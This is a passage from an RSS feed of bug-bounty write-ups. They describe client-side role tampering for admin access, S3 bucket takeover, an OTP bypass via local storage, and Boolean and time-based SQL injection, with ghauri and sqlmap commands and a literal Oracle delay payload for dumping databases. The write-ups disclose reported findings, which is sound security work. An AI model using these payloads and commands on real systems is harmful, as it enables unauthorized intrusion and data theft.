Alright, I’ll take you step-by-step through it using concepts as proof…</p><h3>Steps to Reproduce:</h3><ol><li>After all the checks, I started surfing the application and checked the Storage mechanism under Developer’s tool.</li><li>Expanded the Session Storage and Local storage, where I saw a parameter <strong><em>UserAdminRoles</em></strong> for which the value was blank in Session Storage.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7-EgK3Zaey_oQmWGY-zN4Q.png" /></figure><p>3. So, I quickly login to Admin user account and checked the values under <strong><em>UserAdminRoles. </em></strong>The admin user has the IsAdmin as a value.</p><p>4. Then I tried adding the same to the employees <strong><em>UserAdminRoles</em> </strong>parameter value as <strong>IsAdmin </strong>and I got the Admin tab with few functionalities.</p><p>5. I then added the below values for <strong><em>UserAdminRoles</em> </strong>parameter.</p><p><strong>IsSuperAdmin, IsAdmin, IsManager</strong></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2F115BJle6N2Av0A%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fgiphy.com%2Fgifs%2Fhacker-115BJle6N2Av0A&amp;image=https%3A%2F%2Fmedia3.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExNG1sNGl5ZTFxM3d3aXJvM2RpajM4b2UxbGFteDdxOWFjN3lqamNveiZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2F115BJle6N2Av0A%2Fgiphy_s.gif&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="244" frameborder="0" scrolling="no"><a href="https://medium.com/media/ef5a326290f083820ffc5ec1a1ef4d9d/href">https://medium.com/media/ef5a326290f083820ffc5ec1a1ef4d9d/href</a></iframe><p>6. After refreshing the page, Boom 😍✨the Employee gained SuperAdmin privileges without much effort. Now employee was able to access admin panel and he was able to delete, view the logs of different users and modify the values in the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*ONpmwwnRXe1lUwXfk7dPMQ.png" /></figure><p>Finally, I reported the vulnerability✌.</p><p>We usually overlook session and local storage. I strongly advise to always check these storage mechanisms, as they may contain sensitive information such as a JWT token, an email/password, and personally identifiable information (PII).</p><p>So, that’s it for now and thanks for reading and I appreciate you taking the time to read. For other such writeups do visit the <a href="https://cyb3rmind.medium.com/"><strong>writeups</strong></a>.</p><p>If you found it useful, please click the button 👏and share it with others who have similar interests! + Feedback is always appreciated!!😊</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=be377380bfe4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[#5. Bug Bounty Series: $$$ by AWS S3 Bucket misconfigurations]]></title>
            <link>https://cyb3rmind.medium.com/5-bug-bounty-series-by-aws-s3-bucket-misconfigurations-fb645057d03e?source=rss-d23ef960012c------2</link>
            <guid isPermaLink="false">https://medium.com/p/fb645057d03e</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[takeovers]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[subdomain-takeover]]></category>
            <category><![CDATA[s3-bucket]]></category>
            <dc:creator><![CDATA[Cyb3r M!nds]]></dc:creator>
            <pubDate>Tue, 17 Sep 2024 10:59:24 GMT</pubDate>
            <atom:updated>2024-09-17T17:59:49.966Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello guys 👋 In this writeup, I’m going to explain how I was able to take control of target website’s S3 bucket. So, without any further delay lets dive into the topic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ODwvnPkYLTIiAUN0ICbx5A.png" /></figure><h3><strong>What is Amazon S3 Bucket?</strong></h3><blockquote>S3 stands for simple storage service, and it is AWS’s cloud storage service. S3 provides the ability to store, retrieve, access, and back up any amount of data at any time and place. As S3 is object-based storage, this means that all data is stored as objects.</blockquote><h3>What is s3 bucket takeover?</h3><blockquote>The <strong>AWS S3 Bucket Takeover</strong> is a powerful attack that targets misconfigured buckets on Amazon’s cloud storage service. This attack allows attackers to access any private storage area belonging to an organization, access the data inside it, and take complete control of the bucket.</blockquote><h3>Impacts of s3 bucket takeover</h3><p>Threat actors can use compromised AWS S3 Buckets in various malicious activities, such as:</p><ul><li>Conducting phishing attacks by creating fake websites</li><li>Adding malware files to the compromised bucket can lead to supply chain attacks and similar threats</li><li>Redirecting URLs to malicious sites or applications, which can compromise the organization’s virtual environments</li></ul><p>So coming to the point, the target is <strong>*.example.com</strong>. I will explain the methods which I used to get the s3 bucket.</p><h3><strong>Recon process:</strong></h3><ul><li>First I was enumerating the subdomains for the *.target.com target using the <a href="https://github.com/projectdiscovery/subfinder">Subfinder </a>and <a href="https://github.com/Findomain/Findomain">Findomain</a> tool .</li></ul><pre>subfinder -d target.com | httpx &gt; target.txt<br><br>findomain -t target.com | httpx &gt; targetfind.txt</pre><ul><li>After collecting and sorting the unique subdomains, I checked the status/live of the application using <a href="https://github.com/projectdiscovery/httpx">httpx</a> tool.</li></ul><pre>cat alldomains.txt | httpx -sc --title</pre><p>I then began manually testing the juicy subdomains. When I was inspecting the source page of the website, I discovered the URL in the JS file from one of the subdomains where the s3 bucket name and other information. So I accessed the URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*h14gSy1ygg4-yr3WeIeXLg.jpeg" /></figure><p>After accessing the URL it was giving the below error code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*P60sDFKpBALZ6-Y5epsDdA.jpeg" /></figure><p>Since the developer may have removed the S3 bucket, I was able to find this <a href="https://github.com/EdOverflow/can-i-take-over-xyz?source=post_page-----81a68823af74--------------------------------">link</a> when I searched for information on how to take control of this subdomain.</p><p>I followed the below steps to claim the s3 bucket.</p><ol><li>Go to <a href="https://s3.console.aws.amazon.com/s3/">S3 panel</a></li><li>Click <em>Create Bucket</em></li><li>Set <em>Bucket name</em> to source domain name (i.e., the domain you want to take over)</li><li>Click <em>Next</em> multiple times to finish</li><li>Open the created bucket</li><li>Click <em>Upload</em></li><li>Select the file which will be used for PoC (HTML or TXT file). I recommend naming it differently than <em>index.html</em>; you can use <em>poc</em> (without extension)</li><li>In <em>Permissions</em> tab select <em>Grant public read access to this object(s)</em></li><li>After upload, select the file and click <em>More -&gt; Change metadata</em></li><li>Click <em>Add metadata</em>, select <em>Content-Type</em> and value should reflect the type of document. If HTML, choose <em>text/html</em>, etc.</li><li>(Optional) If the bucket was configured as a website</li><li>Switch to <em>Properties</em> tab</li><li>Click <em>Static website hosting</em></li><li>Select <em>Use this bucket to host a website</em></li><li>As an index, choose the file that you uploaded</li><li>Click <em>Save.</em></li></ol><p>By the above steps I was successfully able to takeover the s3 bucket.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5e2CJTurpW64GRhveKHMww.jpeg" /></figure><p>I submitted this issue to the program, and hurray, I received a bounty for reporting it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lkk8hQNz2otfQbj7wqMAZQ.png" /></figure><p>So, that’s it for now and thanks for reading and I appreciate you taking the time to read. For other such writeups do visit the <a href="https://cyb3rmind.medium.com/"><strong>writeups</strong></a>.</p><p>If you found it useful, please click the button👏and share it with others who have similar interests! + Feedback is always appreciated!!😊</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fb645057d03e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[#4. Bug Bounty Series: Exploiting Boolean-based SQL Injection]]></title>
            <link>https://cyb3rmind.medium.com/4-bug-bounty-series-exploiting-boolean-based-sql-injection-3455d800892e?source=rss-d23ef960012c------2</link>
            <guid isPermaLink="false">https://medium.com/p/3455d800892e</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[sql-injection]]></category>
            <dc:creator><![CDATA[Cyb3r M!nds]]></dc:creator>
            <pubDate>Fri, 02 Aug 2024 06:44:21 GMT</pubDate>
            <atom:updated>2024-08-02T06:44:21.047Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello guys 👋 I’ve returned with one more article that is Boolean-based SQL Injection through which I was able to get the user credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*suOuT9izcdDxXU5x.png" /></figure><h3>What is Boolean based SQLi?</h3><blockquote>Boolean-based SQL injection is a technique that relies on sending an SQL query to the database based on which the technique forces the application to return different results. The result allows an attacker to judge whether the payload used returns true or false. Even though no data from the database are recovered, the results give the attacker valuable information.</blockquote><p>Depending on the Boolean result (TRUE or FALSE), the content within the HTTP response will change, or remain the same.</p><h3>Impacts of SQLi:</h3><p>Depending on the backend database configuration, access privileges and the operating system, an attacker can mount one or more of the following type of attacks:</p><ul><li>Reading, updating and deleting tables from the database</li><li>Executing commands on the underlying operating system</li></ul><p>So as usual I was to exploring the website and understanding the functions used on it. The target application is a e-commerce website. Assuming the target as <a href="http://www.example.com/"><em>www.example.com</em></a> as I’m not allowed to reveal the domain name.</p><p>While I was testing the change password functionality, I looked for other vulnerabilities. Then I decided to test it for SQLi on the change password page.</p><p>Let’s get to the point now…..😉</p><h3>Steps to Reproduce:</h3><ol><li>Click on the change password button and submit any dummy information.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CYTjeaWV72_WCaiM1PDivg.png" /></figure><p>2. Open Burpsuite and begin intercepting by selecting the proxy tab.</p><p>3. Sent the request to the repeater. Playing around with what’s in offer, I’ve noticed that the user parameter is vulnerable to a SQL injection.</p><p>4. So, copied and saved the POST request as burp.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*UTd6LalJtIlv4lOD6Zyfqw.png" /></figure><p>5. To confirm the vulnerability, I used the Ghauri tool (one can use sqlmap as well).<br>Install the <a href="https://github.com/r0oth3x49/ghauri">Ghauri</a> SQL Injection tool. Run the following command.</p><pre>ghauri -r burp.txt -p user -level 3 -risk 3 -current-db -banner</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1oOXNYekGzEB8fuK-RR5Lw.png" /></figure><p>6. After a few minutes, I received the current database name and banner information.</p><p>I reported the vulnerability with joy 😍. The issue was considered as a critical; by end of the day, they accepted the finding.</p><p>So, that’s it for now and thanks for reading and I appreciate you taking the time to read. For other such writeups do visit the <a href="https://cyb3rmind.medium.com/"><strong>writeups</strong></a>.</p><p>If you found it useful, please click the button👏and share it with others who have similar interests! + Feedback is always appreciated!!😊</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3455d800892e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[#3. Bug Bounty Series: OTP Verification bypass leads to unauthorized booking appointment]]></title>
            <link>https://cyb3rmind.medium.com/3-bug-bounty-series-otp-verification-bypass-468526b76720?source=rss-d23ef960012c------2</link>
            <guid isPermaLink="false">https://medium.com/p/468526b76720</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[otp-bypass]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Cyb3r M!nds]]></dc:creator>
            <pubDate>Tue, 25 Jun 2024 10:50:34 GMT</pubDate>
            <atom:updated>2024-06-25T16:13:54.349Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello guys 👋 I’ve returned with yet another article that is OTP verification Bypass through which I was able to access and do the booking in application with any email/phone number.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*yW9VJWq55xeHwc19.png" /></figure><h3>What is OTP?</h3><blockquote>One-Time Password(OTP) is a dynamic password valid only for one session and expires if not used within the time limit(which might vary between 60 seconds to 5 minutes).</blockquote><h3>Impacts of OTP bypass:</h3><ul><li>Attackers can gain access to user accounts without authorization.</li><li>Financial accounts or services protected by OTP can be compromised.</li><li>Attackers can use compromised accounts to conduct various types of fraud.</li><li>Sensitive information stored in compromised accounts can be accessed and exfiltrated and many more.</li></ul><p>So as usual I was to exploring the website and understanding the functions used on it. The target application is a booking appointment website where we can book an appointment. After registering , I login and started to fill the appointment form. Assuming the target as <em>www.example.com</em> as I’m not allowed to reveal the domain name.</p><p>Let’s get to the point now….</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/0*u2dYzKGy2FnlkKZ5.gif" /></figure><h3>Steps to Reproduce:</h3><ol><li>I started by logging into the application using an email id.</li></ol><p>2. After exploring the website and features I landed on to the page where a user can book an appointment for visa.</p><p>3. I started booking an appointment and entered fake values for the appointment details.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*86Yt6ifpe9kODnH8td8lxg.jpeg" /></figure><p>4. After filling the details, for the next step the application was asking for an OTP verification (via email or phone).</p><p><em>(This was preventing the people from booking an appointment with fake email and/or phone information.)</em></p><p>5. I checked to bypass using the Burpsuite but it didn’t worked. At the front end then I opened the developer’s option and checked the storage mechanism in the application; where there was an OTP parameter i.e. <strong>is_otp_enabled</strong>.</p><p>6. To turn off the OTP check at the client side, I attempted to modify the value to <strong>is_otp_enabled: false</strong> in local storage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*kk0Xo7b_WMq04i7mmFFNrQ.jpeg" /></figure><p>5. After refreshing the page the OTP verification got disabled but sadly, though, due to the the application errors, I was unable to demonstrate to them the entire process for reproducing.</p><p>6. At the end I reported the vulnerability and requested them to investigate. Since they were able to replicate the vulnerability on their end, they approved my report.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*bOG-Yjs56EzqzW2MiKL8qQ.png" /></figure><h3><strong>Best practices for OTP are as follows:</strong></h3><ul><li>Enable OTP expiry.</li><li>Implement both client and server-side OTP verification, rather than just response verification.</li><li>After 3 or 5 unsuccessful attempts, discard the OTP and send a new OTP to try again.</li></ul><p>So, that’s it for now and thanks for reading and I appreciate you taking the time to read. For other such writeups do visit the <a href="https://cyb3rmind.medium.com/"><strong>writeups</strong></a>.</p><p>If you found it useful, please click the button👏and share it with others who have similar interests! + Feedback is always appreciated!!😊</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=468526b76720" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[#2. Bug Bounty POC: Time-Based SQL Injection to Dump Database]]></title>
            <link>https://cyb3rmind.medium.com/2-bug-bounty-poc-time-based-sql-injection-to-dump-database-f8cfa089f393?source=rss-d23ef960012c------2</link>
            <guid isPermaLink="false">https://medium.com/p/f8cfa089f393</guid>
            <category><![CDATA[sqli]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[sql-injection]]></category>
            <dc:creator><![CDATA[Cyb3r M!nds]]></dc:creator>
            <pubDate>Sat, 11 May 2024 06:22:16 GMT</pubDate>
            <atom:updated>2024-05-11T06:22:16.925Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello👋 and welcome, fellow cyber explorers!. Today, I’m excited to share my latest write-up on time-based SQL injection💉, where I’ll walk you through the method of extracting data from a database through Time-Based SQL Injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*rrUKkXxu-wfccSgmQyTZbQ.png" /></figure><h3>Description:</h3><blockquote>Time-based SQL injection is a type of SQL injection attack where the attacker manipulates the SQL query execution time to infer information from the database. Unlike traditional SQL injection attacks that directly return data in the response, time-based attacks exploit the delay in server response caused by specific SQL query constructs.</blockquote><h3>Impact of Time-Based Blind SQL Injection</h3><ol><li>Data Extraction: Attackers can use time-based techniques to extract sensitive data from the database slowly. By injecting carefully crafted queries that introduce delays, they can retrieve information character by character, such as usernames, passwords, or other confidential data.</li><li>Database Discovery: Through time delays, attackers can gain insights into the database schema and structure. They can use this information to understand how the database is designed, the types of tables, and potentially the relationships between different data entities.</li><li>Denial of Service (DoS): Time-based SQL injection attacks can also be used to degrade the performance of the database or the application itself by causing excessive load. By injecting long-running queries, attackers can impact the responsiveness of the system and many more.</li></ol><p><strong>Let’s start …</strong></p><p>So, I was testing an Android application for one of the program. I’ve reported different findings with the app, but I thought to write an article on this vulnerability.</p><p>At first I installed the app and tried to login but the application was not allowing me to login and thrown me an error of “Something Went Wrong”, this happened because of SSL pinning. Then, I used the Frida to bypass the SSL pinning which was half way bypassed but still there was <strong>okhttp3 </strong>related pinning which I was unable to bypass it.</p><p>When I checked the http history in Burpsuite, there was the login request with few other API requests.</p><h3>Steps to Reproduce:</h3><ol><li>The activity which caught my attention is the <strong>EMP_ID </strong>parameter after trying to login using the random values.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*8SkaB8DkFo0F1Lxe4Y10Iw.png" /></figure><p>2. The discovered endpoint was <strong>/api/business/business_kpi</strong> which was having the employee ID parameter.</p><p>3. There I tried to add the “<strong><em> </em>’</strong> ”, where it gave 500 Internal server error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*mOtawOZeFSWAe_P7LYdWPg.png" /></figure><p>4. Then I added <strong><em>EMP_ID=3710+AND+1=0 —</em></strong> , I noticed that in response the data is changed by adding.</p><p>5. By checking the behavior, further I used <strong>SQLMAP</strong> with the burp POST request, I got the below vulnerable payload which I tried in burp request and observed a delay as shown in the screenshot below.</p><p><strong>Vulnerable Payload:</strong> EMP_ID=4727 AND 4900=DBMS_PIPE.RECEIVE_MESSAGE(CHR(114)||CHR(105)||CHR(105)||CHR(113),5)&amp;LEVEL=UH&amp;UNIT=BHAG</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*4cjNGlk9yynXX50IznIRlA.png" /></figure><p>9. To retrieve the information, I saved the burp request and run the <em>SQLMAP </em>using below command.</p><blockquote><strong>sqlmap -r burprequest.txt -technique=T — dbs</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0ay1c7sr23rUDWQ-TDrTGA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*HRAzCwl21d8sQEiemvswSA.png" /></figure><p>By using the tool, I was able to retrieve the database and further sensitive information.</p><blockquote><strong>sqlmap -r burprequest.txt -technique=T -D &lt;database_name&gt; — tables</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*eF5Ch-dObBnlT0aOjYa4BA.png" /></figure><p>Further, I tried extracting the details within the databases.</p><blockquote><strong>sqlmap -r burprequest.txt -technique=T -D &lt;database_name&gt; -T — columns</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*Wwn36MMR7QCpfCIb92dkWA.png" /></figure><p>At last I reported the vulnerability to the program with all the details and impact. Looking at the criticality the program responded back and within a day they fixed the issue.</p><p><strong>NOTE: Extracted data was deleted ;)</strong></p><p>So, that’s it for now and thanks for reading and I appreciate you taking the time to read. For other such writeups do visit the <a href="https://cyb3rmind.medium.com/"><strong>writeups</strong></a>.</p><p>If you found it useful, please click the button 👏and share it with others who have similar interests! + Feedback is always appreciated!!😊</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f8cfa089f393" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>